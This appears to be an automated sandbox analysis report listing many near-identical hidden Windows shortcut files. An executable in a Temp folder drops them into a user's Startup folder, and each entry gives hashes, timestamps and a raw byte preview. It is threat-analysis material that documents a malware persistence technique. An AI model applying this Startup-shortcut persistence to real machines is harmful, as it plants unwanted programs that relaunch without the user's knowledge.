File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92478465432273
Encrypted:	false
SSDEEP:	24:8NLBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8N9IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AC954D5F36F1AFDA562319078E608B21
SHA1:	5151EBF9504EBFDDD567A8CCED2E9C1C91A22DB6
SHA-256:	AD037FF7FEB182A30F5C9563CBAF475603C69AA4069DF8E16DE65DF648DF4CA0
SHA-512:	0177F65BEC069D90F05FE0E07D0A4A02F65DACC1D1659684E316FEB2B4326B3A7DBD06C98EE93FBC28EDF84106207D61311A7D16D3C713B93E43936372B7D976
Malicious:	false
Preview:	L..................F....".......d.....5.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ac9ff2f16234acf89b88865079d203b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937662
Encrypted:	false
SSDEEP:	24:8GBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CBF3E48F3CBD32B79C4649EF23F01EA7
SHA1:	87FB5A19537B74A4A6BD36707C12DF04A45F70BE
SHA-256:	1E7CADDBBFDF10BF4AA0CEAC95AFFEFB370DC03273F39EC398409E3B8963D199
SHA-512:	5F458034361EBD0EBC3ACC8B502BDFD2F32F67823CBF63E1F1D30566F3F030050F708F2628BEBDDC23973D4286A05AD0A7AF4FFCC9B9BD7FD85CBCE652275C96
Malicious:	false
Preview:	L..................F....".......d.....<.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3accd03748f54c528a9bb703e22497ab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927211867981024
Encrypted:	false
SSDEEP:	24:8tuBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86OEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BB39A36C166BD1297682D51D8FB32E62
SHA1:	1FE1DA99640DE1A19FE7C57A86AC5C8620F082B7
SHA-256:	DECF85AC79715127BC2AF51121C81C4C4F3AF4872CD576FCF101C76C7D594E9D
SHA-512:	6F4681167BEDD561BB95FCBDA70074A2210F064B6A484395057A0BFEFA863660BBF6D840B82A92F3D5B349F11825E6AAAC0208895486CF3E6E7414289EE71BDB
Malicious:	false
Preview:	L..................F....".......d....".~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b2ca82c9e764c84b8e582ee151362e4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:59 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916119226594865
Encrypted:	false
SSDEEP:	24:8nBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6CE65788B4633A94DD66CDFC401DCDE1
SHA1:	F077D49F116467CA6615659E9D2B9DBAC9A11CE6
SHA-256:	315137FB6E0865FAE960BB0B4D2456EF657CC53B355FE08F20718FAF98C4D929
SHA-512:	6BF62A2A6BCCE90F2CB02FF0F4F3C59627797A1D70A063D95FB516BFD7FDF4F07A9FD018FD0804428FA05CFE6C702EDCADD2197AF47ABD9FA525A5F504126B1A
Malicious:	false
Preview:	L..................F....".......d...S.x.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....9t.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b87b2a493de457ea11bc6d57803e75e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920427371426249
Encrypted:	false
SSDEEP:	24:80QBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80evEvZ0yRO7DLO2zdxdRd1kyg
MD5:	52AA02BA86CE3054B4971A4C4C5A81CE
SHA1:	5464AFB4FB7B3B196377C2738E02B8CDD6D8EE31
SHA-256:	5FE028EDA228D0F474CA01973D1EE1D893A11D8AB8658D9FD231FDC98E3102ED
SHA-512:	5E12AE31EBC36C60C5ED5226C2AB01FDD494170547A904F9E1C69DCF8E266962F6A6CD3742CF22B99AE4E6D30E3E88D3496531EA2CE5D229DD2C5AF4E95BE7C8
Malicious:	false
Preview:	L..................F....".......d....FP(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I.F(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3bc012404d3548978ef29715e2d65876.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919789999069627
Encrypted:	false
SSDEEP:	24:86q2BfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86FMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	347DFB375C9DE2A7D0F351F961C83E4F
SHA1:	BF6B2DCC6EFFFBDC4AB349DD0E4696FACC0512DA
SHA-256:	BDE6643DDD4D817B283D549181F9C9E0EBAB5B4469A0C7136B71F22A11066F1C
SHA-512:	863B04333FAE24A042A85524286833F706BF003A032F9DB0A0E5B4D1C331C5B287AE4A33A9C182CF17A40BE05BEEE71580C1387A025CACCE9C4B75AE640FF35F
Malicious:	false
Preview:	L..................F....".......d...bF.]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...rIm]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3bcce15872974d5ca19532a77e5d4f93.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791694
Encrypted:	false
SSDEEP:	24:8mBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8sPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8761944A8647C715D80E9C7D7F54F7B4
SHA1:	04F020862D942A70B3AE6EBD3B72C3B5FA4A4869
SHA-256:	FF3FD53D68EF25538E0DE27D36158C0791DD4CE0B9093DBCC08A8C57147C7FD4
SHA-512:	C5C10FC03A0A3F6055CAD8EA958013E6A10E808FB133D6A716365093FB39D04615AA84C9FFBF5E70A9A6020311A8C10D5A86F4B041BAA59B244C552CA30C9B7C
Malicious:	false
Preview:	L..................F....".......d...{}..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c0142ef50e04ca38e14956468f4c0e6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915331741588633
Encrypted:	false
SSDEEP:	24:8uBfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5A1D142B8F4ADCD9FB2678B92F63AFFE
SHA1:	F06BAA073B6056167646C22D14699354312BDC2F
SHA-256:	192EED020E1A19BE324622529403AA96092EE13B69D1EBF91670029FC8F2A8C8
SHA-512:	401A3C1B550A57CCD94A86E1ED354AE7AF0B1CB4B245BA611C12962B57D40EAC49EBBFB061262F6F35328E891B47A8C5C951AECF091D0A515624BA8784554051
Malicious:	false
Preview:	L..................F....".......d....$-:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c0fd36dda7941b998820329efb93acb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9177897340168295
Encrypted:	false
SSDEEP:	24:8V2BfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	23242F0EE18265F1AF302CB8169F96C8
SHA1:	54C5868EF336316EEE556D84A8642C78FFF43C2F
SHA-256:	372E55854F435AFE051C88471300F21AD612756B8189859FC3DFFCBB99543F45
SHA-512:	4AF98D56B016C55BFADA769F118EA08E498368A6F85D437284DF848C48DE7ECE0C85C0E03E2133B6D14A4F01383C4CF89E8DE9F8C381DABDFB2CA7A6863AA7DD
Malicious:	false
Preview:	L..................F....".......d...(`(:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c35da0d3a634504b60c74f5c85e9e18.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916385656445523
Encrypted:	false
SSDEEP:	24:8lTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HsEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1CBC36BFB87491595A30A283454D6076
SHA1:	3B19E3F42CEF420139D2813FE592DE5E54E0365B
SHA-256:	2DBB398CD0DA7CE2E23E4961203A4323E5079EF1818309001CA8959D7C59B32E
SHA-512:	124108CD4202AF799E2AE389F0E4A417189CEB2018B4703EDB5CD2649E9215DAADE0363E720E799B3CBCE1E06FC542EF59F2974C5C5C7D613B1FCA18C433A1C8
Malicious:	false
Preview:	L..................F....".......d.....z<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c42ddcfca544b71a6ff903ec414a81b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791694
Encrypted:	false
SSDEEP:	24:8dGBfbl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dM+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	42F494654CFFB8EA73359677AFEC155A
SHA1:	62DE74E17722381D5FFE129196C62EF45B020B32
SHA-256:	0249E28E000F1149286DB1E773E4F09A946EF7389BCA575426138D00E6AC3303
SHA-512:	60AD1354F2FEC83D9015EDE10B40AC3471699BB9B56724C0E57880EA5D67F4531603830EC82C5699DC8DB310F59C8D38D7010324E2865C83E6EFC9D51C300446
Malicious:	false
Preview:	L..................F....".......d....^.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ca168637422496ea382d83828dbc519.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922465769348501
Encrypted:	false
SSDEEP:	24:88Bfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8850D7B2C0E7A10C6F70B8C28F5F13B9
SHA1:	3E1F082956D6E60C56AF642DFF3A0D8403A73A62
SHA-256:	8C2D23F3702641602ACBCF13CF3BA311B47912E17F07878C4D4269C0C7F55CFB
SHA-512:	6A2E19943495229BD2AB6A3560B487843D836FF2E7C18A9D025BB0A8170E9C9CAB3F7E3D8A5E6A4AA4E5C9A28BABD8BCE8A407E81A33C1137C85232349D64972
Malicious:	false
Preview:	L..................F....".......d...=.&\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3cd2a756f7db46e18e341fb3aaaeab68.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921544728328576
Encrypted:	false
SSDEEP:	24:8QBfm4p8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8e+9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	40066AF88AC204A3444888C81FF93EE9
SHA1:	BEF1E3D0176BE0B1DBCFD4E6AD2BB0394DCA647C
SHA-256:	BF9671DC0442D79904EAA909E469CB19E2E6E46E501680A05AAA37082D7B1983
SHA-512:	A064BFC5F2A1851A06A5815596E083F05ED8F31D2A7CBB9D5015BB4B74C46CBDC312A32879EA3C7CEFF811607C936667BCE960079A88B0DF932AFAB35ACACE59
Malicious:	false
Preview:	L..................F....".......d....3=(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3cebe032c2004d3ca923f92db332dbde.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
